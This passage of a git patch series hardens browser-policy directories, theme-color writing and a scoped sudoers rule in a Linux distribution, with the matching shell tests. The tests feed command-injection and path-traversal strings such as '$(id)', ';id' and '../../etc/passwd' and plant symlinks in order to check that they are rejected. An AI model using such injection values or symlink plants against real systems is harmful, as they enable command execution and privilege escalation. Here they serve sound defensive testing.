user=$(getent passwd "$PKEXEC_UID" | cut -d: -f1) - if [[ -n $user && $user != "root" ]]; then - printf '%s\n' "$user" - return - fi - fi - user=${USER:-$(id -un)} - if [[ $user != "root" ]]; then - printf '%s\n' "$user" - fi -} - -# sudo when this process has a controlling terminal (fd 0 is /dev/null under -# `bash -lc cmd &`, but /dev/tty still works). pkexec when it does not. -browser_policy_elevate() { - if (( EUID == 0 )); then - "$@" - elif { exec 3/dev/null; then - exec 3<&- - sudo "$@" - else - pkexec "$@" - fi -} - -browser_policy_write_color() { +browser_policy_install_color() { local policy_dir=$1 local hex=$2 local dest=$policy_dir/color.json - local payload local tmp - local owner - [[ -d $policy_dir ]] || return 0 + [[ -d $policy_dir && ! -L $policy_dir ]] || return 0 + [[ $hex =~ ^#[0-9a-f]{6}$ ]] || return 1 - payload=$(printf '{"BrowserThemeColor": "%s", "BrowserColorScheme": "device"}\n' "$hex") tmp=$(mktemp) || return 1 - printf '%s' "$payload" >"$tmp" + printf '{"BrowserThemeColor": "%s", "BrowserColorScheme": "device"}\n' "$hex" >"$tmp" - # A planted symlink or directory must not be written through or into. if [[ -L $dest || -d $dest ]]; then if ! rm -rf -- "$dest" 2>/dev/null; then - if ! browser_policy_elevate rm -rf -- "$dest"; then - rm -f "$tmp" - echo "omarchy-theme-set-browser: cannot replace $dest (need group $BROWSER_POLICY_GROUP)" >&2 - return 1 - fi + rm -f "$tmp" + return 1 fi fi - if install -m 664 -T "$tmp" "$dest" 2>/dev/null; then - rm -f "$tmp" - return 0 - fi - - owner=$(browser_policy_file_owner) - [[ -n $owner ]] || owner=root - if browser_policy_elevate install -m 664 -o "$owner" -g "$BROWSER_POLICY_GROUP" -T "$tmp" "$dest"; then + if install -m 0644 -T "$tmp" "$dest" 2>/dev/null; then rm -f "$tmp" return 0 fi rm -f "$tmp" - echo "omarchy-theme-set-browser: cannot write $dest (need group $BROWSER_POLICY_GROUP)" >&2 return 1 } diff --git a/migrations/1787515927.sh b/migrations/1787515927.sh index 113daf34..f1f33869 100644 --- a/migrations/1787515927.sh +++ b/migrations/1787515927.sh @@ -2,15 +2,9 @@ echo "Stop world-writable Chromium and Firefox policy directories" source "$OMARCHY_PATH/install/helpers/browser-policy.sh" -browser_policy_setup_group -browser_policy_grant_user "${USER:-$(id -un)}" - repaired=0 for dir in "${BROWSER_POLICY_MANAGED_DIRS[@]}"; do [[ -d $dir || -L $dir ]] || continue - if browser_policy_dir_hardened "$dir" && browser_policy_parents_hardened "$dir"; then - continue - fi browser_policy_setup_dir "$dir" repaired=1 done @@ -21,7 +15,10 @@ fi for dir in "${BROWSER_POLICY_FIREFOX_DIRS[@]}"; do [[ -d $dir || -L $dir ]] || continue - browser_policy_firefox_hardened "$dir" && continue + if browser_policy_firefox_hardened "$dir"; then + browser_policy_purge_dir "$dir" + continue + fi browser_policy_setup_parent "$dir" browser_policy_purge_dir "$dir" if ! browser_policy_firefox_policy_file_ok "$dir/policies.json"; then diff --git a/test/shell.d/browser-policy-dir-test.sh b/test/shell.d/browser-policy-dir-test.sh index b06f174f..20b8067c 100755 --- a/test/shell.d/browser-policy-dir-test.sh +++ b/test/shell.d/browser-policy-dir-test.sh @@ -7,24 +7,6 @@ source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" test_tmp=$(mktemp -d) trap 'rm -rf "$test_tmp"' EXIT -mock_bin=$test_tmp/bin -mkdir -p "$mock_bin" -elev_log=$test_tmp/elev.log -cat >"$mock_bin/sudo" <>"$elev_log" -[[ \${OMARCHY_TEST_SUDO_FAIL:-} == 1 ]] && exit 1 -exit 0 -SH -cat >"$mock_bin/pkexec" <>"$elev_log" -[[ \${OMARCHY_TEST_SUDO_FAIL:-} == 1 ]] && exit 1 -exit 0 -SH -chmod +x "$mock_bin/sudo" "$mock_bin/pkexec" -export PATH="$mock_bin:$PATH" -: >"$elev_log" export OMARCHY_PATH="$ROOT" export OMARCHY_PROVISIONING_DIR="$test_tmp/provisioning" @@ -55,20 +37,20 @@ unprivileged_as_root() { write_dir=$test_tmp/writable mkdir -p "$write_dir" -browser_policy_write_color "$write_dir" "#aabbcc" || +browser_policy_install_color "$write_dir" "#aabbcc" || fail "theme colour writes into a writable policy directory" grep -F '"BrowserThemeColor": "#aabbcc"' "$write_dir/color.json" >/dev/null || fail "theme colour writes BrowserThemeColor" mode=$(stat -c '%a' "$write_dir/color.json") -[[ $mode == "664" ]] || fail "theme colour creates a group-writable policy file" "mode=$mode" -pass "theme colour writes a group-writable color.json" +[[ $mode == "644" ]] || fail "theme colour creates a root-mode policy file" "mode=$mode" +pass "theme colour writes a 0644 color.json" if (( EUID == 0 )); then pass "running as root; skipping the mktemp-failure check" else chmod u+w "$write_dir" export TMPDIR=$test_tmp/missing-tmp - if browser_policy_write_color "$write_dir" "#dead00" 2>/dev/null; then + if browser_policy_install_color "$write_dir" "#dead00" 2>/dev/null; then fail "theme colour fails when mktemp cannot create a file" fi unset TMPDIR @@ -80,7 +62,7 @@ fi printf 'original\n' >"$test_tmp/pwn" rm -f "$write_dir/color.json" ln -s "$test_tmp/pwn" "$write_dir/color.json" -browser_policy_write_color "$write_dir" "#aabbcc" || +browser_policy_install_color "$write_dir" "#aabbcc" || fail "theme colour replaces a planted color.json symlink" [[ -f $write_dir/color.json && ! -L $write_dir/color.json ]] || fail "theme colour unlinks a planted color.json symlink instead of writing through it" @@ -90,62 +72,25 @@ pass "theme colour does not follow a planted color.json symlink" plant_write=$test_tmp/plant-dir mkdir -p "$plant_write/color.json/nested" printf 'inside\n' >"$plant_write/color.json/nested/x" -browser_policy_write_color "$plant_write" "#aabbcc" || +browser_policy_install_color "$plant_write" "#aabbcc" || fail "theme colour replaces a planted color.json directory" [[ -f $plant_write/color.json && ! -d $plant_write/color.json ]] || fail "theme colour does not write into a planted color.json directory" pass "theme colour does not write into a planted color.json directory" missing_dir=$test_tmp/missing -browser_policy_write_color "$missing_dir" "#aabbcc" || +browser_policy_install_color "$missing_dir" "#aabbcc" || fail "theme colour skips a policy directory that does not exist" [[ ! -e $missing_dir ]] || fail "theme colour does not create a missing policy directory" pass "theme colour skips a missing policy directory" -if (( EUID == 0 )); then - pass "running as root; skipping elevation checks" -else - denied_dir=$test_tmp/denied - mkdir -p "$denied_dir" - chmod a-w "$denied_dir" - owner=${USER:-$(id -un)} - : >"$elev_log" - browser_policy_write_color "$denied_dir" "#aabbcc" || - fail "elevated install reports success from pkexec" - grep -E "^PKEXEC install -m 664 -o $owner -g omarchy-browser-policy -T .+ $denied_dir/color.json$" "$elev_log" >/dev/null || - fail "without a controlling tty, colour write elevates through pkexec as the owner" "$(cat "$elev_log")" - if grep -E '^SUDO ' "$elev_log" >/dev/null; then - fail "without a controlling tty, colour write does not call sudo" "$(cat "$elev_log")" - fi - pass "without a controlling tty, colour write elevates through pkexec" - - : >"$elev_log" - export OMARCHY_TEST_SUDO_FAIL=1 - if browser_policy_write_color "$denied_dir" "#aabbcc" 2>"$test_tmp/write.err"; then - fail "theme colour fails when the policy directory is not writable" - fi - unset OMARCHY_TEST_SUDO_FAIL - grep -F 'omarchy-browser-policy' "$test_tmp/write.err" >/dev/null || - fail "theme colour names the group when the write is denied" - pass "theme colour reports a denied policy write" - - if command -v script >/dev/null; then - : >"$elev_log" - cat >"$test_tmp/tty-write.sh" </dev/null - grep -E "^SUDO install -m 664 -o $owner -g omarchy-browser-policy -T .+ $denied_dir/color.json$" "$elev_log" >/dev/null || - fail "with a controlling tty, colour write elevates through sudo" "$(cat "$elev_log")" - if grep -E '^PKEXEC ' "$elev_log" >/dev/null; then - fail "with a controlling tty, colour write does not call pkexec" "$(cat "$elev_log")" - fi - pass "with a controlling tty, colour write elevates through sudo" - else - pass "script(1) unavailable; skipping the controlling-tty elevation check" - fi +if browser_policy_install_color "$write_dir" "aabbcc" 2>/dev/null; then + fail "theme colour rejects hex without a leading #" fi +if browser_policy_install_color "$write_dir" "#AABBCC" 2>/dev/null; then + fail "theme colour rejects uppercase hex" +fi +pass "theme colour accepts only # plus six lowercase hex digits" planted_dir=$test_tmp/planted mkdir -p "$planted_dir/evil" @@ -156,16 +101,16 @@ browser_policy_setup_dir "$planted_dir" [[ ! -e $planted_dir/evil ]] || fail "policy setup drops a non-empty non-root subdirectory" [[ ! -e $planted_dir/color.json ]] || fail "policy setup drops a non-root color.json" [[ -d $planted_dir ]] || fail "policy setup leaves the managed directory in place" +mode=$(stat -c '%a' "$planted_dir") +[[ $mode == "755" ]] || fail "policy setup leaves the managed directory 0755" "mode=$mode" pass "policy setup drops non-root files and non-empty subdirectories" owned=$test_tmp/not-root mkdir -p "$owned" -chmod 2775 "$owned" -BROWSER_POLICY_GROUP=$(id -gn) +chmod 755 "$owned" if browser_policy_dir_hardened "$owned"; then - fail "a user-owned 2775 directory is not treated as hardened" + fail "a user-owned 0755 directory is not treated as hardened" fi -BROWSER_POLICY_GROUP=omarchy-browser-policy pass "a hardened directory must be root-owned" saved_parent_dirs=("${BROWSER_POLICY_PARENT_DIRS[@]}") @@ -173,7 +118,7 @@ parent_root=$test_tmp/parents mkdir -p "$parent_root/etc/chromium/policies/managed/keep" printf 'keep\n' >"$parent_root/etc/chromium/policies/managed/keep/x" chmod 0777 "$parent_root/etc/chromium" "$parent_root/etc/chromium/policies" -chmod 2775 "$parent_root/etc/chromium/policies/managed" +chmod 755 "$parent_root/etc/chromium/policies/managed" BROWSER_POLICY_PARENT_DIRS=( "$parent_root/etc/chromium" "$parent_root/etc/chromium/policies" @@ -270,7 +215,7 @@ pass "Firefox setup does not follow a planted distribution symlink" for malformed in "" "not,a,color" "1,2" "1,2,3,4" "256,0,0" "999,999,999" "-1,0,0" \ "1,2,3;id" '1,2,$(id)' "0x10,0,0" "1,2,3 4,5,6"; do [[ $(browser_policy_theme_hex "$malformed") == "#1c2027" ]] || - fail "theme colour falls back to the neutral grey for '$malformed'" + fail "theme colour falls back to the stock grey for '$malformed'" done pass "theme colour is six hex digits or the stock grey" @@ -288,6 +233,8 @@ pass "shipped chromium.theme files parse as RGB triples" grep -F 'browser_policy_theme_hex' "$ROOT/bin/omarchy-theme-set-browser" >/dev/null || fail "omarchy-theme-set-browser parses chromium.theme through browser_policy_theme_hex" +grep -F 'omarchy-theme-set-browser-policy' "$ROOT/bin/omarchy-theme-set-browser" >/dev/null || + fail "omarchy-theme-set-browser writes colour through omarchy-theme-set-browser-policy" if grep -E 'printf.*THEME_RGB_COLOR' "$ROOT/bin/omarchy-theme-set-browser" >/dev/null; then fail "omarchy-theme-set-browser does not hand unvetted theme words to printf" fi @@ -328,27 +275,6 @@ fi [[ -d $dir_dist/policies.json ]] || fail "Firefox policy install leaves a planted policies.json directory in place" pass "Firefox policy install does not write into a planted policies.json directory" -grant_log=$test_tmp/usermod.calls -as_root() { - if [[ $1 == "usermod" ]]; then - printf '%s\n' "$*" >>"$grant_log" - return 0 - fi - unprivileged_as_root "$@" -} -invoker=${USER:-$(id -un)} -: >"$grant_log" -SUDO_USER=$invoker -browser_policy_grant_user root -unset SUDO_USER -grep -qx -- "usermod -aG omarchy-browser-policy $invoker" "$grant_log" || - fail "granting as root uses SUDO_USER" "$(cat "$grant_log")" -: >"$grant_log" -OMARCHY_INSTALL_USER="" -browser_policy_grant_user "" -[[ ! -s $grant_log ]] || fail "an empty grant does not usermod" -pass "sudo install browser grants the invoking user, not root" - grep -F 'exit "$failed"' "$ROOT/bin/omarchy-theme-set-browser" >/dev/null || fail "omarchy-theme-set-browser exits non-zero when a policy write fails" pass "omarchy-theme-set-browser exits non-zero when a policy write fails" @@ -357,25 +283,25 @@ policy_files=( "$ROOT/bin/omarchy-install-browser" "$ROOT/bin/omarchy-provision-owner" "$ROOT/bin/omarchy-theme-set-browser" + "$ROOT/bin/omarchy-theme-set-browser-policy" "$ROOT/bin/omarchy-upgrade-to-quattro" "$ROOT/install/config/theme-system.sh" "$ROOT/install/config/browser-policy.sh" "$ROOT/install/helpers/browser-policy.sh" "$ROOT/migrations/1787515927.sh" ) -if grep -nE 'chmod a\+rwx\b|chmod a\+rw\b|chmod a\+w\b|chmod o\+w|chmod ugo\+w|chmod 2777\b|chmod 0777\b|chmod 777\b|install -d -m 0?[27]?777' "${policy_files[@]}" >/dev/null; then - fail "browser policy setup is not world-writable" +if grep -nE 'chmod a\+rwx\b|chmod a\+rw\b|chmod a\+w\b|chmod o\+w|chmod ugo\+w|chmod 2775\b|chmod 2777\b|chmod 0777\b|chmod 777\b|install -d -m 0?[27]?777|omarchy-browser-policy' "${policy_files[@]}" >/dev/null; then + fail "browser policy setup is not world-writable and does not use omarchy-browser-policy" fi pass "browser policy setup is not world-writable" mapfile -t migrations < <(rg -l 'Stop world-writable Chromium and Firefox policy directories' "$ROOT/migrations") (( ${#migrations[@]} == 1 )) || fail "exactly one migration locks existing policy directories" "${migrations[*]}" -grep -F 'browser_policy_dir_hardened' "${migrations[0]}" >/dev/null || - fail "the policy-directory migration no-ops a machine already repaired" -grep -F 'browser_policy_parents_hardened' "${migrations[0]}" >/dev/null || - fail "the policy-directory migration repairs a world-writable parent of a hardened leaf" -grep -F 'browser_policy_grant_user' "${migrations[0]}" >/dev/null || - fail "the policy-directory migration still grants the current user the group" +grep -F 'browser_policy_setup_dir' "${migrations[0]}" >/dev/null || + fail "the policy-directory migration repairs managed directories" +if grep -F 'browser_policy_grant_user' "${migrations[0]}" >/dev/null; then + fail "the policy-directory migration does not grant a browser-policy group" +fi grep -F 'BROWSER_POLICY_FIREFOX_DIRS' "${migrations[0]}" >/dev/null || fail "the policy-directory migration covers Firefox and Zen" grep -F 'browser_policy_firefox_policy_file_ok' "${migrations[0]}" >/dev/null || diff --git a/test/shell.d/browser-policy-sudoers-test.sh b/test/shell.d/browser-policy-sudoers-test.sh new file mode 100755 index 00000000..2af8ea2b --- /dev/null +++ b/test/shell.d/browser-policy-sudoers-test.sh @@ -0,0 +1,184 @@ +#!/bin/bash + +set -euo pipefail + +source "$(dirname "$0")/base-test.sh" + +helper="$ROOT/bin/omarchy-theme-set-browser-policy" +setter="$ROOT/bin/omarchy-theme-set-browser" +sudoers_file="$ROOT/etc/sudoers.d/omarchy-theme-browser" +rule='%wheel ALL=(root) NOPASSWD: /usr/bin/omarchy-theme-set-browser-policy [0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]' + +# Exactly one rule, matched whole. Dropping the argument -- which sudoers reads +# as "any arguments" -- or widening the glob to `*` would let the grant carry +# something other than a color while leaving this line looking right. +rules=$(grep -vE '^[[:space:]]*(#|$)' "$sudoers_file") +[[ $rules == "$rule" ]] || + fail "browser policy sudoers file carries exactly the six-hex-digit rule and nothing else" "got: $rules" + +if command -v visudo >/dev/null; then + visudo -cf "$sudoers_file" >/dev/null || fail "browser policy sudoers rule parses" +fi + +grep -Fx 'PACKAGED_PATH=/usr/bin/omarchy-theme-set-browser-policy' "$helper" >/dev/null || + fail "omarchy-theme-set-browser-policy elevates the path the sudoers rule names" + +grep -E 'sudo -n -l -l' "$helper" >/dev/null || + fail "omarchy-theme-set-browser-policy reads the grant from the long sudo listing" + +grep -Eq '^\s*export PATH=/usr/local/sbin:/usr/local/bin:/usr/bin' "$helper" || + fail "omarchy-theme-set-browser-policy pins PATH to trusted system directories when it holds root" +gated=$(grep -A1 -E '^if \(\( EUID == 0 \)\); then$' "$helper" || true) +[[ $gated == *"export PATH=/usr/local/sbin:/usr/local/bin:/usr/bin"* ]] || + fail "omarchy-theme-set-browser-policy gates the trusted-PATH pin on holding root" + +pass "browser policy sudoers rule is scoped to a single color argument" + +for dir in /etc/chromium/policies/managed /etc/opt/chrome/policies/managed \ + /etc/opt/edge/policies/managed /etc/brave/policies/managed; do + grep -Fx " $dir" "$helper" >/dev/null || + fail "omarchy-theme-set-browser-policy names $dir in its fixed policy directory list" +done + +policy_dir_count=$(sed -n '/^POLICY_DIRS=(/,/^)/p' "$helper" | grep -c '^ /') +((policy_dir_count == 4)) || + fail "omarchy-theme-set-browser-policy writes only the four known policy directories" \ + "got: $policy_dir_count" + +grep -F 'install -m 0644 -o root -g root -T' "$helper" >/dev/null || + fail "omarchy-theme-set-browser-policy installs color.json with install -T" +if grep -E 'mv -f' "$helper" >/dev/null; then + fail "omarchy-theme-set-browser-policy does not mv into a planted color.json directory" +fi + +pass "browser policy helper writes a fixed set of policy directories" + +test_tmp=$(mktemp -d) +trap 'rm -rf "$test_tmp"' EXIT + +stub_bin="$test_tmp/bin" +mkdir -p "$stub_bin" + +cat >"$stub_bin/pkexec" <<'SH' +#!/bin/bash +printf 'pkexec %s\n' "$*" >"$ELEVATION_LOG" +SH +chmod +x "$stub_bin/pkexec" + +# STUB_GRANTED empty stands for an install whose omarchy-settings predates the +# sudoers file. The default is granted, matching a current Omarchy. +cat >"$stub_bin/sudo" <<'SH' +#!/bin/bash +if [[ $1 == -n && $2 == -l ]]; then + if [[ ${STUB_GRANTED-granted} == "granted" ]]; then + echo " Options: !authenticate" + else + echo " Matched: ${!#}" + fi + exit 0 +fi +printf 'sudo %s\n' "$*" >"$ELEVATION_LOG" +SH +chmod +x "$stub_bin/sudo" + +if ((EUID == 0)); then + pass "running as root; skipping the elevation checks, which would rewrite this machine's browser policy" +else + elevation_for() { + : >"$test_tmp/elevation" + ELEVATION_LOG="$test_tmp/elevation" \ + PATH="$stub_bin:$PATH" \ + bash "$helper" "$@" /dev/null 2>&1 || true + cat "$test_tmp/elevation" + } + + elevation=$(elevation_for 1c2027) + [[ $elevation == "sudo /usr/bin/omarchy-theme-set-browser-policy 1c2027" ]] || + fail "omarchy-theme-set-browser-policy takes the passwordless sudo grant without a terminal" \ + "got: $elevation" + + dev_linked=$(OMARCHY_PATH="$test_tmp/checkout" elevation_for 1c2027) + [[ $dev_linked == "sudo /usr/bin/omarchy-theme-set-browser-policy 1c2027" ]] || + fail "omarchy-theme-set-browser-policy elevates the system install wherever OMARCHY_PATH points" \ + "got: $dev_linked" + + pass "browser policy helper elevates a valid color through the sudo grant" + + ungranted=$(STUB_GRANTED="" elevation_for 1c2027) + [[ $ungranted == "pkexec /usr/bin/omarchy-theme-set-browser-policy 1c2027" ]] || + fail "omarchy-theme-set-browser-policy falls back to polkit where the grant does not reach" \ + "got: $ungranted" + + pass "browser policy helper falls back to polkit wherever the grant does not reach" + + for bad in "" "1C2027" "abc12" "abc1234" "1c202g" "../../etc/passwd" "1c2027 1c2027" \ + '$(id)' "1c2027;id" "#1c2027"; do + if PATH="$stub_bin:$PATH" ELEVATION_LOG="$test_tmp/elevation" \ + bash "$helper" "$bad" /dev/null 2>&1; then + fail "omarchy-theme-set-browser-policy rejects '$bad'" + fi + + rejected=$(elevation_for "$bad") + [[ -z $rejected ]] || + fail "omarchy-theme-set-browser-policy rejects '$bad' before elevating" "got: $rejected" + done + + if PATH="$stub_bin:$PATH" bash "$helper" 1c2027 ffffff /dev/null 2>&1; then + fail "omarchy-theme-set-browser-policy rejects more than one argument" + fi + + pass "browser policy helper accepts nothing but six lowercase hex digits" +fi + +setter_bin="$test_tmp/setter-bin" +mkdir -p "$setter_bin" + +cat >"$setter_bin/omarchy-theme-set-browser-policy" <<'SH' +#!/bin/bash +printf '%s\n' "$*" >"$COLOR_LOG" +SH +chmod +x "$setter_bin/omarchy-theme-set-browser-policy" + +cat >"$setter_bin/omarchy-cmd-present" <<'SH' +#!/bin/bash +exit 1 +SH +chmod +x "$setter_bin/omarchy-cmd-present" + +setter_home="$test_tmp/home" +theme_dir="$setter_home/.local/state/omarchy/current/theme" +mkdir -p "$theme_dir" + +color_for_theme() { + : >"$test_tmp/color" + if [[ $# -gt 0 ]]; then + printf '%s' "$1" >"$theme_dir/chromium.theme" + else + rm -f "$theme_dir/chromium.theme" + fi + + HOME="$setter_home" COLOR_LOG="$test_tmp/color" PATH="$setter_bin:$stub_bin:$PATH" \ + OMARCHY_PATH="$ROOT" bash "$setter" /dev/null 2>&1 || true + cat "$test_tmp/color" +} + +[[ $(color_for_theme "242,240,229") == "f2f0e5" ]] || + fail "omarchy-theme-set-browser converts an RGB triple to six hex digits" +[[ $(color_for_theme $'14,31,41\n') == "0e1f29" ]] || + fail "omarchy-theme-set-browser accepts a trailing newline" +[[ $(color_for_theme "0,0,0") == "000000" ]] || + fail "omarchy-theme-set-browser pads single-digit components" +[[ $(color_for_theme " 12 , 11 , 12 ") == "0c0b0c" ]] || + fail "omarchy-theme-set-browser tolerates surrounding whitespace" + +for malformed in "" "not,a,color" "1,2" "1,2,3,4" "256,0,0" "999,999,999" "-1,0,0" \ + "1,2,3;id" '1,2,$(id)' "0x10,0,0" "1,2,3 4,5,6"; do + color=$(color_for_theme "$malformed") + [[ $color == "1c2027" ]] || + fail "omarchy-theme-set-browser falls back to the stock colour for '$malformed'" "got: $color" +done + +[[ $(color_for_theme) == "1c2027" ]] || + fail "omarchy-theme-set-browser falls back to the stock colour with no theme file" + +pass "browser theme color is derived as six hex digits or falls back to the stock grey" diff --git a/test/shell.d/default-apps-test.sh b/test/shell.d/default-apps-test.sh index c88c2253..8151c250 100755 --- a/test/shell.d/default-apps-test.sh +++ b/test/shell.d/default-apps-test.sh @@ -208,18 +208,17 @@ OMARCHY_TEST_REAL_BROWSER_INSTALL=true omarchy-default-browser --install chromiu [[ $(omarchy-default-browser) == "chromium" ]] || fail "Chromium becomes the default after its full installer succeeds" cmp -s "$ROOT/config/chromium-flags.conf" "$test_home/.config/chromium-flags.conf" || fail "Chromium browser installer copies the default flags" -grep -Fxq 'sudo:groupadd --system --force omarchy-browser-policy' "$setup_log" || - fail "Chromium browser installer creates the browser-policy group" grep -Fxq 'sudo:install -d -m 0755 -o root -g root /etc/chromium' "$setup_log" || fail "Chromium browser installer creates a root-owned Chromium policy parent" grep -Fxq 'sudo:install -d -m 0755 -o root -g root /etc/chromium/policies' "$setup_log" || fail "Chromium browser installer creates a root-owned Chromium policies parent" -grep -Fxq 'sudo:install -d -m 2775 -o root -g omarchy-browser-policy /etc/chromium/policies/managed' "$setup_log" || - fail "Chromium browser installer creates a group-writable managed policy directory" +grep -Fxq 'sudo:install -d -m 0755 -o root -g root /etc/chromium/policies/managed' "$setup_log" || + fail "Chromium browser installer creates a root-owned managed policy directory" grep -Fxq 'sudo:find /etc/chromium/policies/managed -mindepth 1 -maxdepth 1 ! -user root -exec rm -rf -- {} +' "$setup_log" || fail "Chromium browser installer drops non-root files from its policy directory" -grep -Fxq "sudo:usermod -aG omarchy-browser-policy ${USER:-$(id -un)}" "$setup_log" || - fail "Chromium browser installer grants the installing user the browser-policy group" +if grep -E 'groupadd|usermod|omarchy-browser-policy' "$setup_log" >/dev/null; then + fail "Chromium browser installer does not create a browser-policy group" "$(cat "$setup_log")" +fi grep -Fxq 'omarchy-install-chromium-copy-url:' "$setup_log" || fail "Chromium browser installer registers the Copy URL host" grep -Fxq 'omarchy-install-chromium-ytdlp:' "$setup_log" || diff --git a/test/shell.d/provisioning-groups-test.sh b/test/shell.d/provisioning-groups-test.sh index 7b5c6964..5a5fc516 100644 --- a/test/shell.d/provisioning-groups-test.sh +++ b/test/shell.d/provisioning-groups-test.sh @@ -55,12 +55,13 @@ OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/config/browser-policy.sh" [[ -f $OMARCHY_PROVISIONING_DIR/groups ]] || fail "groups file written without an install user" grep -qxF input "$OMARCHY_PROVISIONING_DIR/groups" || fail "input group recorded" -grep -qxF omarchy-browser-policy "$OMARCHY_PROVISIONING_DIR/groups" || fail "browser-policy group recorded" +! grep -qxF omarchy-browser-policy "$OMARCHY_PROVISIONING_DIR/groups" || + fail "browser-policy group must not be recorded" [[ ! -f $TMPDIR/usermod.calls ]] || fail "usermod not called without an install user" -grep -F -- '--system --force omarchy-browser-policy' "$TMPDIR/groupadd.calls" >/dev/null || - fail "browser-policy group is created as a system group" -grep -F -- '-d -m 2775 -o root -g omarchy-browser-policy /etc/chromium/policies/managed' "$TMPDIR/install.calls" >/dev/null || - fail "browser-policy directory is created group-writable" +[[ ! -f $TMPDIR/groupadd.calls ]] || ! grep -F omarchy-browser-policy "$TMPDIR/groupadd.calls" >/dev/null || + fail "browser-policy group is not created" +grep -F -- '-d -m 0755 -o root -g root /etc/chromium/policies/managed' "$TMPDIR/install.calls" >/dev/null || + fail "browser-policy directory is created root-owned" pass "deferred provisioning records groups without calling usermod" # The docker group is root-equivalent and must never be granted automatically. @@ -77,8 +78,6 @@ pass "missing install user defers group grants" OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/hardware/input-group.sh" [[ $(grep -cxF input "$OMARCHY_PROVISIONING_DIR/groups") == 1 ]] || fail "input group recorded once" OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/config/browser-policy.sh" -[[ $(grep -cxF omarchy-browser-policy "$OMARCHY_PROVISIONING_DIR/groups") == 1 ]] || - fail "browser-policy group recorded once" pass "group recording is idempotent" # Existing user: usermod applies the recorded groups, and docker is never among them. @@ -86,7 +85,7 @@ OMARCHY_INSTALL_USER=existing bash -eE "$ROOT/install/config/docker.sh" OMARCHY_INSTALL_USER=existing bash -eE "$ROOT/install/hardware/input-group.sh" OMARCHY_INSTALL_USER=existing bash -eE "$ROOT/install/config/browser-policy.sh" grep -qx -- "-aG input existing" "$TMPDIR/usermod.calls" || fail "usermod grants input to the install user" -grep -qx -- "-aG omarchy-browser-policy existing" "$TMPDIR/usermod.calls" || - fail "usermod grants browser-policy to the install user" +! grep -q -- "omarchy-browser-policy" "$TMPDIR/usermod.calls" || + fail "usermod must not grant browser-policy to the install user" ! grep -q -- "docker" "$TMPDIR/usermod.calls" || fail "usermod must not grant docker to the install user" -pass "existing install user gets input and browser-policy but never docker" +pass "existing install user gets input but never docker or browser-policy" diff --git a/test/shell.d/upgrade-to-quattro-test.sh b/test/shell.d/upgrade-to-quattro-test.sh index c38c17f7..60e8abff 100644 --- a/test/shell.d/upgrade-to-quattro-test.sh +++ b/test/shell.d/upgrade-to-quattro-test.sh @@ -71,18 +71,19 @@ grep -F 'install/helpers/browser-policy.sh' "$upgrade_to_quattro" >/dev/null || fail "Omarchy 4 upgrade uses the shared browser-policy helper" grep -F 'as_root test -f "$browser_policy_helper"' "$upgrade_to_quattro" >/dev/null || fail "Omarchy 4 upgrade survives a packaged tree without the browser-policy helper" -grep -F 'browser_policy_setup_group' "$upgrade_to_quattro" >/dev/null || - fail "Omarchy 4 upgrade creates the browser-policy group" +if grep -F 'browser_policy_setup_group' "$upgrade_to_quattro" >/dev/null; then + fail "Omarchy 4 upgrade does not create a browser-policy group" +fi grep -F 'browser_policy_setup_dir /etc/chromium/policies/managed' "$upgrade_to_quattro" >/dev/null || - fail "Omarchy 4 upgrade creates a group-writable Chromium policy directory" + fail "Omarchy 4 upgrade creates a root-owned Chromium policy directory" grep -F 'BROWSER_POLICY_MANAGED_DIRS' "$upgrade_to_quattro" >/dev/null || fail "Omarchy 4 upgrade hardens every Chromium-family policy directory" grep -F 'run_as_user_omarchy omarchy-theme-set-browser' "$upgrade_to_quattro" >/dev/null || fail "Omarchy 4 upgrade rewrites browser theme colour after a headless theme-set" -if grep -E 'install -d -m 0?[27]?777 /etc/.*/policies|chmod a\+rw' "$upgrade_to_quattro" >/dev/null; then +if grep -E 'install -d -m 0?[27]?777 /etc/.*/policies|chmod a\+rw|2775' "$upgrade_to_quattro" >/dev/null; then fail "Omarchy 4 upgrade does not create a world-writable Chromium policy directory" fi -pass "Omarchy 4 upgrade locks the Chromium policy directory to the browser-policy group" +pass "Omarchy 4 upgrade locks the Chromium policy directory to root" grep -F 'OMARCHY_UPGRADE_TO_QUATTRO_LIVE=1' "$upgrade_to_quattro" >/dev/null grep -F 'systemd-networkd.service' "$upgrade_to_quattro" >/dev/null From 45749c5b68cbe3ef41eac75baf5e8afc729896c8 Mon Sep 17 00:00:00 2001 From: David Helmus Date: Tue, 25 Aug 2026 21:09:45 +0200 Subject: [PATCH 065/336] test: cover Python shim bypass Place a synthetic python3 shim first in PATH so CI catches any regression that resolves REAL_PYTHON through user-managed shims. --- test/shell.d/copy-url-shortcut-migration-test.sh | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/test/shell.d/copy-url-shortcut-migration-test.sh b/test/shell.d/copy-url-shortcut-migration-test.sh index dd25420e..934a57ee 100644 --- a/test/shell.d/copy-url-shortcut-migration-test.sh +++ b/test/shell.d/copy-url-shortcut-migration-test.sh @@ -28,8 +28,18 @@ write_stale_preferences() { stub_bin="$test_dir/bin" mkdir -p "$stub_bin" -REAL_PYTHON=$(command -p -v python3) +cat >"$stub_bin/python3" <<'STUB' +#!/bin/bash +exit 127 +STUB +chmod +x "$stub_bin/python3" + +# Test stubs must delegate to the system interpreter, not a user shim that can +# route python3 back through the stubs and recurse. +REAL_PYTHON=$(PATH="$stub_bin:$PATH" command -p -v python3) +[[ $REAL_PYTHON != "$stub_bin/python3" ]] || fail "real Python resolution bypasses user shims" export REAL_PYTHON +rm -f "$stub_bin/python3" run_migration() { HOME="$home" PATH="$stub_bin:$PATH" bash -euo pipefail "$migration" >/dev/null 2>&1 From 77305ed3b9f5e19bf2c85bd02bf8842041fc727d Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Tue, 25 Aug 2026 15:29:27 -0500 Subject: [PATCH 066/336] Enable Dell XPS 13 sidecar speaker amplifiers (#7032) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The Dell XPS 13 DX13260 drives its two CS35L56 sidecar speaker amplifiers through a quirk that Linux only gains in 7.2, so until Arch ships that kernel the machine plays through one amplifier with no bass. The dell-xps13-sidecar-amps package selects the same driver path with a module override; this installs it on that exact machine and nowhere else. The detector requires both the DX13260 